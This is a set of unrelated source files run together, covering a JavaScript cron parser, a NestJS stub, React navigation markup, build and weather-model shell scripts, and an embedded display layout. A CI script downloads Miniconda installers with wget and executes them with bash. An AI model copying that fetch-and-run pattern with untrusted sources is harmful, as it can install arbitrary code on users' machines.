hasIterated; } }; /** * Check if previous suitable date exists * * @public * @return {Boolean} */ CronExpression.prototype.hasPrev = function() { var current = this._currentDate; var hasIterated = this._hasIterated; try { this._findSchedule(true); return true; } catch (err) { return false; } finally { this._currentDate = current; this._hasIterated = hasIterated; } }; /** * Iterate over expression iterator * * @public * @param {Number} steps Numbers of steps to iterate * @param {Function} callback Optional callback * @return {Array} Array of the iterated results */ CronExpression.prototype.iterate = function iterate (steps, callback) { var dates = []; if (steps >= 0) { for (var i = 0, c = steps; i < c; i++) { try { var item = this.next(); dates.push(item); // Fire the callback if (callback) { callback(item, i); } } catch (err) { break; } } } else { for (var i = 0, c = steps; i > c; i--) { try { var item = this.prev(); dates.push(item); // Fire the callback if (callback) { callback(item, i); } } catch (err) { break; } } } return dates; }; /** * Reset expression iterator state * * @public */ CronExpression.prototype.reset = function reset (newDate) { this._currentDate = new CronDate(newDate || this._options.currentDate); }; /** * Parse input expression (async) * * @public * @param {String} expression Input expression * @param {Object} [options] Parsing options * @param {Function} [callback] */ CronExpression.parse = function parse(expression, options, callback) { var self = this; if (typeof options === 'function') { callback = options; options = {}; } function parse (expression, options) { if (!options) { options = {}; } if (typeof options.currentDate === 'undefined') { options.currentDate = new CronDate(undefined, self._tz); } // Is input expression predefined? if (CronExpression.predefined[expression]) { expression = CronExpression.predefined[expression]; } // Split fields var fields = []; var atoms = (expression + '').trim().split(/\s+/); if (atoms.length > 6) { throw new Error('Invalid cron expression'); } // Resolve fields var start = (CronExpression.map.length - atoms.length); for (var i = 0, c = CronExpression.map.length; i < c; ++i) { var field = CronExpression.map[i]; // Field name var value = atoms[atoms.length > c ? i : i - start]; // Field value if (i < start || !value) { // Use default value fields.push(CronExpression._parseField( field, CronExpression.parseDefaults[i], CronExpression.constraints[i]) ); } else { var val = field === 'dayOfWeek' ? parseNthDay(value) : value; fields.push(CronExpression._parseField( field, val, CronExpression.constraints[i]) ); } } var mappedFields = {}; for (var i = 0, c = CronExpression.map.length; i < c; i++) { var key = CronExpression.map[i]; mappedFields[key] = fields[i]; } // Filter out any day of month value that is larger than given month expects if (mappedFields.month.length === 1) { var daysInMonth = CronExpression.daysInMonth[mappedFields.month[0] - 1]; if (mappedFields.dayOfMonth[0] > daysInMonth) { throw new Error('Invalid explicit day of month definition'); } mappedFields.dayOfMonth = mappedFields.dayOfMonth.filter(function(dayOfMonth) { return dayOfMonth <= daysInMonth; }); } return new CronExpression(mappedFields, options); /** * Parses out the # special character for the dayOfWeek field & adds it to options. * * @param {String} val * @return {String} * @private */ function parseNthDay(val) { var atoms = val.split('#'); if (atoms.length > 1) { var nthValue = +atoms[atoms.length - 1]; if(/,/.test(val)) { throw new Error('Constraint error, invalid dayOfWeek `#` and `,` ' + 'special characters are incompatible'); } if(/\//.test(val)) { throw new Error('Constraint error, invalid dayOfWeek `#` and `/` ' + 'special characters are incompatible'); } if(/-/.test(val)) { throw new Error('Constraint error, invalid dayOfWeek `#` and `-` ' + 'special characters are incompatible'); } if (atoms.length > 2 || safeIsNaN(nthValue) || (nthValue < 1 || nthValue > 5)) { throw new Error('Constraint error, invalid dayOfWeek occurrence number (#)'); } options.nthDayOfWeek = nthValue; return atoms[0]; } return val; } } return parse(expression, options); }; module.exports = CronExpression;
import { Injectable } from '@nestjs/common'; import { CreateDeveloperInput,DeveloperType } from './developer.types'; @Injectable() export class DeveloperService { create(CreateDeveloperInput: CreateDeveloperInput):CreateDeveloperInput { console.log(CreateDeveloperInput) return CreateDeveloperInput; } findAll() { return `This action returns all developer`; } findOne(id: number) { return `This action returns a #${id} developer`; } update(id: string, updateDeveloperInput: CreateDeveloperInput) { return `This action updates a #${id} developer`; } remove(id: number) { return `This action removes a #${id} developer`; } }
default="-O2 -msse" sse="-O2 -ftree-vectorize -msse2 -msse3 -msse4 -ffast-math" avx='-O2 -ftree-vectorize -mavx -mavx2 -mfma -ffast-math' # avx2='-O2 -mavx2' # native='-O2 -march=native' # change here from=$sse to=$avx find . -name "Makefile" -exec sed -i -e "s/$from/$to/" {} \; # opencv if [ "$to" == "-O2 -msse" ];then find . -name "*.cpp" -exec sed -i -e "s/cvUseOptimized(1)/cvUseOptimized(0)/" {} \; else find . -name "*.cpp" -exec sed -i -e "s/cvUseOptimized(0)/cvUseOptimized(1)/" {} \; fi if [ "$to" == "-O2 -ftree-vectorize -mavx -mavx2 -mfma3 -mfma -ffast-math" ]; then find . -name "Makefile" -exec sed -i -e "s/opencv-multi\/sse/opencv-multi\/avx/" {} \; else find . -name "Makefile" -exec sed -i -e "s/opencv-multi\/avx/opencv-multi\/sse/" {} \; fi #dnn if [ "$to" == "-O2 -ftree-vectorize -mavx -mavx2 -mfma -ffast-math" ]; then find . -name "Makefile" -exec sed -i -e 's/libopenblas-.*/libopenblas-avx.a\ \\/' {} \; elif [ "$to" == "-O2 -ftree-vectorize -msse2 -msse3 -msse4 -ffast-math" ]; then find . -name "Makefile" -exec sed -i -e 's/libopenblas-.*/libopenblas-sse.a\ \\/' {} \; else find . -name "Makefile" -exec sed -i -e 's/libopenblas-.*/libopenblas-baseline.a\ \\/' {} \; fi
#!/usr/bin/env bash # Cause the script to exit if a single command fails. set -e # Show explicitly which commands are currently running. set -x ROOT_DIR=$(cd "$(dirname "${BASH_SOURCE:-$0}")"; pwd) platform="unknown" unamestr="$(uname)" if [[ "$unamestr" == "Linux" ]]; then echo "Platform is linux." platform="linux" elif [[ "$unamestr" == "Darwin" ]]; then echo "Platform is macosx." platform="macosx" else echo "Unrecognized platform." exit 1 fi TEST_SCRIPT=$ROOT_DIR/../test/microbenchmarks.py if [[ "$platform" == "linux" ]]; then # First test Python 2.7. # Install miniconda. wget https://repo.continuum.io/miniconda/Miniconda2-4.5.4-Linux-x86_64.sh -O miniconda2.sh bash miniconda2.sh -b -p $HOME/miniconda2 # Find the right wheel by grepping for the Python version. PYTHON_WHEEL=$(find $ROOT_DIR/../.whl -type f -maxdepth 1 -print | grep -m1 '27') # Install the wheel. $HOME/miniconda2/bin/pip install $PYTHON_WHEEL # Run a simple test script to make sure that the wheel works. $HOME/miniconda2/bin/python $TEST_SCRIPT # Now test Python 3.6. # Install miniconda. wget https://repo.continuum.io/miniconda/Miniconda3-4.5.4-Linux-x86_64.sh -O miniconda3.sh bash miniconda3.sh -b -p $HOME/miniconda3 # Find the right wheel by grepping for the Python version. PYTHON_WHEEL=$(find $ROOT_DIR/../.whl -type f -maxdepth 1 -print | grep -m1 '36') # Install the wheel. $HOME/miniconda3/bin/pip install $PYTHON_WHEEL # Run a simple test script to make sure that the wheel works. $HOME/miniconda3/bin/python $TEST_SCRIPT # Check that the other wheels are present. NUMBER_OF_WHEELS=$(ls -1q $ROOT_DIR/../.whl/*.whl | wc -l) if [[ "$NUMBER_OF_WHEELS" != "5" ]]; then echo "Wrong number of wheels found." ls -l $ROOT_DIR/../.whl/ exit 2 fi elif [[ "$platform" == "macosx" ]]; then MACPYTHON_PY_PREFIX=/Library/Frameworks/Python.framework/Versions PY_MMS=("2.7" "3.4" "3.5" "3.6" "3.7") # This array is just used to find the right wheel. PY_WHEEL_VERSIONS=("27" "34" "35" "36" "37") for ((i=0; i<${#PY_MMS[@]}; ++i)); do PY_MM=${PY_MMS[i]} PY_WHEEL_VERSION=${PY_WHEEL_VERSIONS[i]} PYTHON_EXE=$MACPYTHON_PY_PREFIX/$PY_MM/bin/python$PY_MM PIP_CMD="$(dirname $PYTHON_EXE)/pip$PY_MM" # Find the appropriate wheel by grepping for the Python version. PYTHON_WHEEL=$(find $ROOT_DIR/../.whl -type f -maxdepth 1 -print | grep -m1 "$PY_WHEEL_VERSION") # Install the wheel. $PIP_CMD install $PYTHON_WHEEL # Run a simple test script to make sure that the wheel works. $PYTHON_EXE $TEST_SCRIPT done else echo "Unrecognized environment." exit 3 fi
import { Link } from "@reach/router"; import React from "react"; import Avatar from "Components/Avatar"; import HeaderNavNotifications from "./HeaderNavNotifications"; import HeaderNavLanguages from "./HeaderNavLanguages"; import HeaderNavMenu from "./HeaderNavMenu"; import HeaderNavMessages from "./HeaderNavMessages"; export default function HeaderNav({ isMenuOpen, setIsMenuOpen, setIsLanguagePanelOpen, setIsMessagePanelOpen, setIsNotificationPanelOpen, onClickOutsideMessages, onClickOutsideNotifications, onClickOutsideMenu, onClickOutsideLanguage, isOnDashboard, isUserLogedIn, isMessagePanelOpen, setUnreadMessagesLength, isOn, unreadMessagesLength, isNotificationPanelOpen, setUnreadNotificationLength, setNotificationIsReadTrue, unreadNotificationLength, notificationData, updateNotificationDataAcceptReject, userImage, Date, navigate, setIsLoginOpen, isOnSignUp, isOnHomeCompany, languageSelected, unitedstates, germany, isLanguagePanelOpen, setLanguageSelected, messageNotificationData, }) { return ( <div className="header__nav animate__animated animate__fadeInRight"> <HeaderNavMenu isMenuOpen={isMenuOpen} setIsMenuOpen={setIsMenuOpen} setIsLanguagePanelOpen={setIsLanguagePanelOpen} setIsMessagePanelOpen={setIsMessagePanelOpen} setIsNotificationPanelOpen={setIsNotificationPanelOpen} onClickOutsideMenu={onClickOutsideMenu} isOn={isOn} isUserLogedIn={isUserLogedIn} /> {isOnDashboard ? ( isUserLogedIn ? ( <> <HeaderNavMessages isMessagePanelOpen={isMessagePanelOpen} setIsMessagePanelOpen={setIsMessagePanelOpen} setIsNotificationPanelOpen={setIsNotificationPanelOpen} setIsLanguagePanelOpen={setIsLanguagePanelOpen} setIsMenuOpen={setIsMenuOpen} setUnreadMessagesLength={setUnreadMessagesLength} isOn={isOn} unreadMessagesLength={unreadMessagesLength} onClickOutsideMessages={onClickOutsideMessages} messageNotificationData={messageNotificationData} /> <HeaderNavNotifications isNotificationPanelOpen={isNotificationPanelOpen} setIsNotificationPanelOpen={setIsNotificationPanelOpen} setUnreadNotificationLength={setUnreadNotificationLength} setIsMessagePanelOpen={setIsMessagePanelOpen} setIsLanguagePanelOpen={setIsLanguagePanelOpen} setIsMenuOpen={setIsMenuOpen} setNotificationIsReadTrue={setNotificationIsReadTrue} unreadNotificationLength={unreadNotificationLength} onClickOutsideNotifications={onClickOutsideNotifications} notificationData={notificationData} updateNotificationDataAcceptReject={ updateNotificationDataAcceptReject } /> <Avatar userPic={ userImage != null && userImage != "" ? process.env.REACT_APP_BASEURL.concat(userImage) + "?" + new Date() : null } style={{ boxShadow: "0px 0px 10px rgba(12, 166, 157,.9)", }} onClick={() => { setIsNotificationPanelOpen(false); setUnreadNotificationLength(null); setIsMessagePanelOpen(false); setIsLanguagePanelOpen(false); window.innerWidth < 800 ? setIsMenuOpen(false) : setIsMenuOpen(true); isOn == "company" ? navigate("/home-company/profile") : isOn == "professional" ? navigate("/home-professional/profile") : navigate("/home-freelancer/profile"); window.scrollTo({ top: 0, behavior: "smooth", }); }} dontShowHover={false} /> </> ) : ( <> <button title="sign in" className="header__nav__btn btn__primary" onClick={() => { setIsLoginOpen(true); setIsLanguagePanelOpen(false); }} > Sign In </button> {isOnSignUp ? null : ( <Link to="/sign-up" className="header__nav__btn btn__secondary" style={ isOnHomeCompany ? { width: "160px", } : null } > {isOnHomeCompany ? "Sign up to hire" : "Sign Up"} </Link> )} </> ) ) : isUserLogedIn ? ( <> <Avatar userPic={ userImage != null && userImage != "" ? process.env.REACT_APP_BASEURL.concat(userImage) + "?" + new Date() : null } onClick={() => { if (isOn == "company") navigate("/home-company/profile"); else if (isOn == "professional") navigate("/home-professional/profile"); else navigate("/home-freelancer/profile"); window.scrollTo({ top: 0, behavior: "smooth", }); }} dontShowHover={false} /> </> ) : ( <> <button title="sign in" className="header__nav__btn btn__primary" onClick={() => { setIsLoginOpen(true); setIsLanguagePanelOpen(false); }} > Sign In </button> {isOnSignUp ? null : ( <Link to="/sign-up" className="header__nav__btn btn__secondary" style={ isOnHomeCompany ? { width: "160px", } : null } > {isOnHomeCompany ? "Sign up to hire" : "Sign Up"} </Link> )} </> )} <HeaderNavLanguages setIsLanguagePanelOpen={setIsLanguagePanelOpen} languageSelected={languageSelected} unitedstates={unitedstates} germany={germany} isLanguagePanelOpen={isLanguagePanelOpen} onClickOutsideLanguage={onClickOutsideLanguage} setLanguageSelected={setLanguageSelected} /> </div> ); }
import subprocess # Read configuration parameters from file with open('stream_config.txt', 'r') as file: config = dict(line.strip().split('=', 1) for line in file) # Validate and apply settings to the streaming application try: gopmin = int(config['GOPMIN']) outres = config['OUTRES'] fps = int(config['FPS']) threads = int(config['THREADS']) quality = config['QUALITY'] cbr = config['CBR'] webcam = config['WEBCAM'] webcam_wh = config['WEBCAM_WH'] # Apply settings using subprocess subprocess.run(['streaming_app', '--gopmin', str(gopmin), '--outres', outres, '--fps', str(fps), '--threads', str(threads), '--quality', quality, '--cbr', cbr, '--webcam', webcam, '--webcam_wh', webcam_wh]) print("Settings applied successfully.") except KeyError as e: print(f"Error: Missing configuration parameter {e}") except ValueError as e: print(f"Error: Invalid value for {e}") except subprocess.CalledProcessError as e: print(f"Error applying settings: {e}")
<reponame>Andy4495/ConnectedStatusMonitor<gh_stars>0 struct Coord { int x; int y; }; struct Layout { Layout(); Coord WeatherTitle; Coord WeatherTempValue; Coord WeatherTempUnits; Coord WeatherLuxValue; Coord WeatherLuxUnits; Coord WeatherRHValue; Coord WeatherRHUnits; Coord WeatherPValue; Coord WeatherPUnits; Coord SlimTitle; Coord SlimTempValue; Coord SlimTempUnits; Coord Sensor5Title; Coord Sensor5TempValue; Coord Sensor5TempUnits; Coord FishTitle; Coord FishTempValue; Coord FishTempUnits; Coord TurtleTitle; Coord TurtleTempValue; Coord TurtleTempUnits; Coord WorkshopTitle; Coord WorkshopLoBat; Coord WorkshopTempValue; Coord WorkshopTempUnits; Coord GDTitle; Coord GDValue; Coord BattTitle; Coord BattOutdoorSubtitle; Coord BattOutdoorValue; Coord BattOutdoorUnits; Coord BattSlimSubtitle; Coord BattSlimValue; Coord BattSlimUnits; Coord BattSensor5Subtitle; Coord BattSensor5Value; Coord BattSensor5Units; Coord TimeAndDateTitle; Coord TimeAndDateValue; }; const char WeatherTitle[] = "Weather"; const char SlimTitle[] = "Slim"; const char Sensor5Title[] = "Sensor 5"; const char FishTitle[] = "Fish"; const char TurtleTitle[] = "Turtles"; const char WorkshopTitle[] = "Workshop"; const char WorkshopLoBat[] = "LoBat"; const char GDTitle[] = "Garage Door"; const char BatteriesTitle[] = "Batteries"; const char TimeAndDateTitle[] = "Time and Date"; const char DegreesF[] = {176, 'F', 0}; const char Lux[] = "LUX"; const char RH[] = "%RH"; const char inHG[] = "inHg"; const char V[] = "V"; const char OutdoorSubtitle[] = "Outdoor:"; const char SlimSubtitle[] = "Slim:"; const char FishSubtitle[] = "Fish:"; const char TurtleSubtitle[] = "Turtles:"; const char Sensor5Subtitle[] = "Sensor 5:"; #define FONT_SIZE_X 12 #define FONT_SIZE_Y 16 #define SCREEN_WIDTH_X 320 #define SCREEN_WIDTH_Y 240 Layout::Layout() { WeatherTitle.x = 0; // Centered = 78 WeatherTitle.y = 0; // Align all weather values relative to longest units ("inHG") at 191 WeatherTempValue.x = 119; // "100.1 " -> 6 chars * 12 = 72 -> 191 - 72 = 119 WeatherTempValue.y = 16; WeatherTempUnits.x = 215; WeatherTempUnits.y = 16; WeatherLuxValue.x = 83; // "99999999 " -> 9 chars * 12 = 108 -> 191 - 108 = 83 WeatherLuxValue.y = 32; WeatherLuxUnits.x = 203; WeatherLuxUnits.y = 32; WeatherRHValue.x = 131; // "58.2 " -> 5 chars * 12 = 60 -> 191 - 60 = 131 WeatherRHValue.y = 48; WeatherRHUnits.x = 203; WeatherRHUnits.y = 48; WeatherPValue.x = 119; // "29.32 " -> 6 chars * 12 = 72 -> 191 - 72 = 119 WeatherPValue.y = 64; WeatherPUnits.x = 191; WeatherPUnits.y = 64; SlimTitle.x = 0; // Centered = 96 SlimTitle.y = 88; SlimTempValue.x = 143; // "100.1 " -> 6 chars * 12 = 72 -> 215 - 72 = 143 SlimTempValue.y = 88; SlimTempUnits.x = 215; SlimTempUnits.y = 88; Sensor5Title.x = 0; Sensor5Title.y = 112; Sensor5TempValue.x = 143; Sensor5TempValue.y = 112; Sensor5TempUnits.x = 215; Sensor5TempUnits.y = 112; FishTitle.x = 0; // Centered = 96 FishTitle.y = 136; FishTempValue.x = 143; // "100.1 " -> 6 chars * 12 = 72 -> 215 - 72 = 143 FishTempValue.y = 136; FishTempUnits.x = 215; FishTempUnits.y = 136; TurtleTitle.x = 0; // Centered = 96 TurtleTitle.y = 160; TurtleTempValue.x = 143; TurtleTempValue.y = 160; TurtleTempUnits.x = 215; TurtleTempUnits.y = 160; WorkshopTitle.x = 0; WorkshopTitle.y = 184; WorkshopLoBat.x = 96; WorkshopLoBat.y = 184; WorkshopTempValue.x = 143; WorkshopTempValue.y = 184; WorkshopTempUnits.x = 215; WorkshopTempUnits.y = 184; GDTitle.x = 0; // Centered = 54 GDTitle.y = 208; GDValue.x = 167; // "Closed" -> 6 chars * 12 = 72 -> 239 - 72 = 167 GDValue.y = 208; BattTitle.x = 0; // Centered = 66 BattTitle.y = 232; BattOutdoorSubtitle.x = 24; BattOutdoorSubtitle.y = 248; BattOutdoorValue.x = 155; // "3.123 " -> 6 chars * 12 = 72 -> 227 - 72 = 155 BattOutdoorValue.y = 248; BattOutdoorUnits.x = 227; BattOutdoorUnits.y = 248; BattSlimSubtitle.x = 24; BattSlimSubtitle.y = 264; BattSlimValue.x = 155; // "3.123 " -> 6 chars * 12 = 72 -> 227 - 72 = 155 BattSlimValue.y = 264; BattSlimUnits.x = 227; BattSlimUnits.y = 264; BattSensor5Subtitle.x = 24; BattSensor5Subtitle.y = 280; BattSensor5Value.x = 155; // "3.123 " -> 6 chars * 12 = 72 -> 227 - 72 = 155 BattSensor5Value.y = 280; BattSensor5Units.x = 227; BattSensor5Units.y = 280; TimeAndDateTitle.x = 0; // Centered = 42 TimeAndDateTitle.y = 0; // Time and Date title is no longer printed, XY values do not matter TimeAndDateValue.x = 5; // "14-Jun hh:mm AM CDT" -> 19 chars * 12 = 228 -> 239 - 228 = 11 to Right Justify // Otherewise, use 11/2 = 5 to Center TimeAndDateValue.y = 304; // If displaying Time and Date header, then use y value of at least 272 }
# #----------------------------------------------------------------------- # # This file defines and then calls a function that sets parameters # associated with the external model used for initial conditions (ICs) # and the one used for lateral boundary conditions (LBCs). # #----------------------------------------------------------------------- # function set_extrn_mdl_params() { # #----------------------------------------------------------------------- # # Get the full path to the file in which this script/function is located # (scrfunc_fp), the name of that file (scrfunc_fn), and the directory in # which the file is located (scrfunc_dir). # #----------------------------------------------------------------------- # local scrfunc_fp=$( readlink -f "${BASH_SOURCE[0]}" ) local scrfunc_fn=$( basename "${scrfunc_fp}" ) local scrfunc_dir=$( dirname "${scrfunc_fp}" ) # #----------------------------------------------------------------------- # # Get the name of this function. # #----------------------------------------------------------------------- # local func_name="${FUNCNAME[0]}" # #----------------------------------------------------------------------- # # Set the system directory (i.e. location on disk, not on HPSS) in which # the files generated by the external model specified by EXTRN_MDL_NAME_ICS # that are necessary for generating initial condition (IC) and surface # files for the FV3SAR are stored (usually for a limited time, e.g. for # the GFS external model, 2 weeks on WCOSS and 2 days on hera). If for # a given cycle these files are available in this system directory, they # will be copied over to a subdirectory under the cycle directory. If # these files are not available in the system directory, then we search # for them elsewhere, e.g. in the mass store (HPSS). # #----------------------------------------------------------------------- # if [ "${RUN_ENVIR}" = "nco" ]; then EXTRN_MDL_SYSBASEDIR_ICS="$COMINgfs" else case ${EXTRN_MDL_NAME_ICS} in "GSMGFS") case $MACHINE in "WCOSS_CRAY") EXTRN_MDL_SYSBASEDIR_ICS="" ;; "WCOSS_DELL_P3") EXTRN_MDL_SYSBASEDIR_ICS="" ;; "HERA") EXTRN_MDL_SYSBASEDIR_ICS="" ;; "ORION") EXTRN_MDL_SYSBASEDIR_ICS="" ;; "JET") EXTRN_MDL_SYSBASEDIR_ICS="" ;; "ODIN") EXTRN_MDL_SYSBASEDIR_ICS="/scratch/ywang/EPIC/GDAS/2019053000_mem001" ;; "CHEYENNE") EXTRN_MDL_SYSBASEDIR_ICS="/glade/p/ral/jntp/UFS_CAM/COMGFS" ;; "STAMPEDE") EXTRN_MDL_SYSBASEDIR_ICS="/scratch/00315/tg455890/GDAS/20190530/2019053000_mem001" ;; esac ;; "FV3GFS") case $MACHINE in "WCOSS_CRAY") EXTRN_MDL_SYSBASEDIR_ICS="/gpfs/dell1/nco/ops/com/gfs/prod" ;; "WCOSS_DELL_P3") EXTRN_MDL_SYSBASEDIR_ICS="/gpfs/dell1/nco/ops/com/gfs/prod" ;; "HERA") EXTRN_MDL_SYSBASEDIR_ICS="/scratch1/NCEPDEV/rstprod/com/gfs/prod" ;; "ORION") EXTRN_MDL_SYSBASEDIR_ICS="" ;; "JET") EXTRN_MDL_SYSBASEDIR_ICS="/public/data/grids/gfs/nemsio" ;; "ODIN") EXTRN_MDL_SYSBASEDIR_ICS="/scratch/ywang/test_runs/FV3_regional/gfs" ;; "STAMPEDE") EXTRN_MDL_SYSBASEDIR_ICS="/scratch/00315/tg455890/GDAS/20190530/2019053000_mem001" ;; "CHEYENNE") EXTRN_MDL_SYSBASEDIR_ICS="/glade/p/ral/jntp/UFS_CAM/COMGFS" ;; esac ;; "RAP") case $MACHINE in "WCOSS_CRAY") EXTRN_MDL_SYSBASEDIR_ICS="/gpfs/hps/nco/ops/com/rap/prod" ;; "WCOSS_DELL_P3") EXTRN_MDL_SYSBASEDIR_ICS="/gpfs/hps/nco/ops/com/rap/prod" ;; "HERA") EXTRN_MDL_SYSBASEDIR_ICS="/scratch2/BMC/public/data/gsd/rap/full/wrfnat" ;; "ORION") EXTRN_MDL_SYSBASEDIR_ICS="" ;; "JET") EXTRN_MDL_SYSBASEDIR_ICS="/misc/whome/rtrr/rap" ;; "CHEYENNE") EXTRN_MDL_SYSBASEDIR_ICS="dummy_value" ;; esac ;; "HRRR") case $MACHINE in "WCOSS_CRAY") EXTRN_MDL_SYSBASEDIR_ICS="/gpfs/hps/nco/ops/com/hrrr/prod" ;; "WCOSS_DELL_P3") EXTRN_MDL_SYSBASEDIR_ICS="/gpfs/hps/nco/ops/com/hrrr/prod" ;; "HERA") EXTRN_MDL_SYSBASEDIR_ICS="/scratch2/BMC/public/data/gsd/hrrr/conus/wrfnat" ;; "ORION") EXTRN_MDL_SYSBASEDIR_ICS="" ;; "JET") EXTRN_MDL_SYSBASEDIR_ICS="/misc/whome/rtrr/hrrr" ;; "CHEYENNE") EXTRN_MDL_SYSBASEDIR_ICS="dummy_value" ;; esac ;; "NAM") case $MACHINE in "WCOSS_CRAY") EXTRN_MDL_SYSBASEDIR_ICS="/gpfs/dell1/nco/ops/com/nam/prod" ;; "WCOSS_DELL_P3") EXTRN_MDL_SYSBASEDIR_ICS="/gpfs/dell1/nco/ops/com/nam/prod" ;; "HERA") EXTRN_MDL_SYSBASEDIR_ICS="dummy_value" ;; "CHEYENNE") EXTRN_MDL_SYSBASEDIR_ICS="dummy_value" ;; esac ;; esac fi # # If EXTRN_MDL_SYSBASEDIR_ICS has not been set (not even to a null string), # print out an error message and exit. # if [ -z "${EXTRN_MDL_SYSBASEDIR_ICS+x}" ]; then print_err_msg_exit "\ The variable EXTRN_MDL_SYSBASEDIR_ICS specifying the system directory in which to look for the files generated by the external model for ICs has not been set for the current combination of machine (MACHINE) and external model (EXTRN_MDL_NAME_ICS): MACHINE = \"$MACHINE\" EXTRN_MDL_NAME_ICS = \"${EXTRN_MDL_NAME_ICS}\"" fi # #----------------------------------------------------------------------- # # Set EXTRN_MDL_LBCS_OFFSET_HRS, which is the number of hours to shift # the starting time of the external model that provides lateral boundary # conditions. # #----------------------------------------------------------------------- # case ${EXTRN_MDL_NAME_LBCS} in "GSMGFS") EXTRN_MDL_LBCS_OFFSET_HRS="0" ;; "FV3GFS") EXTRN_MDL_LBCS_OFFSET_HRS="0" ;; "RAP") EXTRN_MDL_LBCS_OFFSET_HRS="3" ;; "HRRR") EXTRN_MDL_LBCS_OFFSET_HRS="0" ;; "NAM") EXTRN_MDL_LBCS_OFFSET_HRS="0" ;; esac # #----------------------------------------------------------------------- # # Set the system directory (i.e. location on disk, not on HPSS) in which # the files generated by the external model specified by EXTRN_MDL_NAME_LBCS # that are necessary for generating lateral boundary condition (LBC) files # for the FV3SAR are stored (usually for a limited time, e.g. for the GFS # external model, 2 weeks on WCOSS and 2 days on hera). If for a given # cycle these files are available in this system directory, they will be # copied over to a subdirectory under the cycle directory. If these files # are not available in the system directory, then we search for them # elsewhere, e.g. in the mass store (HPSS). # #----------------------------------------------------------------------- # if [ "${RUN_ENVIR}" = "nco" ]; then EXTRN_MDL_SYSBASEDIR_LBCS="$COMINgfs" else case ${EXTRN_MDL_NAME_LBCS} in "GSMGFS") case $MACHINE in "WCOSS_CRAY") EXTRN_MDL_SYSBASEDIR_LBCS="" ;; "WCOSS_DELL_P3") EXTRN_MDL_SYSBASEDIR_LBCS="" ;; "HERA") EXTRN_MDL_SYSBASEDIR_LBCS="" ;; "ORION") EXTRN_MDL_SYSBASEDIR_LBCS="" ;; "JET") EXTRN_MDL_SYSBASEDIR_LBCS="" ;; "ODIN") EXTRN_MDL_SYSBASEDIR_LBCS="/scratch/ywang/EPIC/GDAS/2019053000_mem001" ;; "CHEYENNE") EXTRN_MDL_SYSBASEDIR_LBCS="/glade/p/ral/jntp/UFS_CAM/COMGFS" ;; "STAMPEDE") EXTRN_MDL_SYSBASEDIR_LBCS="/scratch/00315/tg455890/GDAS/20190530/2019053000_mem001" ;; esac ;; "FV3GFS") case $MACHINE in "WCOSS_CRAY") EXTRN_MDL_SYSBASEDIR_LBCS="/gpfs/dell1/nco/ops/com/gfs/prod" ;; "WCOSS_DELL_P3") EXTRN_MDL_SYSBASEDIR_LBCS="/gpfs/dell1/nco/ops/com/gfs/prod" ;; "HERA") EXTRN_MDL_SYSBASEDIR_LBCS="/scratch1/NCEPDEV/rstprod/com/gfs/prod" ;; "ORION") EXTRN_MDL_SYSBASEDIR_LBCS="" ;; "JET") EXTRN_MDL_SYSBASEDIR_LBCS="/public/data/grids/gfs/nemsio" ;; "ODIN") EXTRN_MDL_SYSBASEDIR_LBCS="/scratch/ywang/test_runs/FV3_regional/gfs" ;; "CHEYENNE") EXTRN_MDL_SYSBASEDIR_LBCS="/glade/p/ral/jntp/UFS_CAM/COMGFS" ;; "STAMPEDE") EXTRN_MDL_SYSBASEDIR_LBCS="/scratch/00315/tg455890/GDAS/20190530/2019053000_mem001" ;; esac ;; "RAP") case $MACHINE in "WCOSS_CRAY") EXTRN_MDL_SYSBASEDIR_LBCS="/gpfs/hps/nco/ops/com/rap/prod" ;; "WCOSS_DELL_P3") EXTRN_MDL_SYSBASEDIR_LBCS="/gpfs/hps/nco/ops/com/rap/prod" ;; "HERA") EXTRN_MDL_SYSBASEDIR_LBCS="/scratch2/BMC/public/data/gsd/rap/full/wrfnat" ;; "ORION") EXTRN_MDL_SYSBASEDIR_LBCS="" ;; "JET") EXTRN_MDL_SYSBASEDIR_LBCS="/misc/whome/rtrr/rap" ;; "CHEYENNE") EXTRN_MDL_SYSBASEDIR_LBCS="dummy_value" ;; esac ;; "HRRR") case $MACHINE in "WCOSS_CRAY") EXTRN_MDL_SYSBASEDIR_LBCS="/gpfs/hps/nco/ops/com/hrrr/prod" ;; "WCOSS_DELL_P3") EXTRN_MDL_SYSBASEDIR_LBCS="/gpfs/hps/nco/ops/com/hrrr/prod" ;; "HERA") EXTRN_MDL_SYSBASEDIR_LBCS="/scratch2/BMC/public/data/gsd/hrrr/conus/wrfnat" ;; "ORION") EXTRN_MDL_SYSBASEDIR_LBCS="" ;; "JET") EXTRN_MDL_SYSBASEDIR_LBCS="/misc/whome/rtrr/hrrr" ;; "CHEYENNE") EXTRN_MDL_SYSBASEDIR_LBCS="dummy_value" ;; esac ;; "NAM") case $MACHINE in "HERA") EXTRN_MDL_SYSBASEDIR_LBCS="dummy_value" ;; "CHEYENNE") EXTRN_MDL_SYSBASEDIR_LBCS="dummy_value" ;; esac ;; esac fi # # If EXTRN_MDL_SYSBASEDIR_LBCS has not been set (not even to a null string), # print out an error message and exit. # if [ -z "${EXTRN_MDL_SYSBASEDIR_LBCS+x}" ]; then print_err_msg_exit "\ The variable EXTRN_MDL_SYSBASEDIR_LBCS specifying the system directory in which to look for the files generated by the external model for LBCs has not been set for the current combination of machine (MACHINE) and external model (EXTRN_MDL_NAME_LBCS): MACHINE = \"$MACHINE\" EXTRN_MDL_NAME_LBCS = \"${EXTRN_MDL_NAME_LBCS}\"" fi } # #----------------------------------------------------------------------- # # Call the function defined above. # #----------------------------------------------------------------------- # set_extrn_mdl_params
<filename>src/index/middleware/identity.ts /* * Copyright (c) 2019, FinancialForce.com, inc * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * - Neither the name of the FinancialForce.com, inc nor the names of its contributors * may be used to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL * THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT 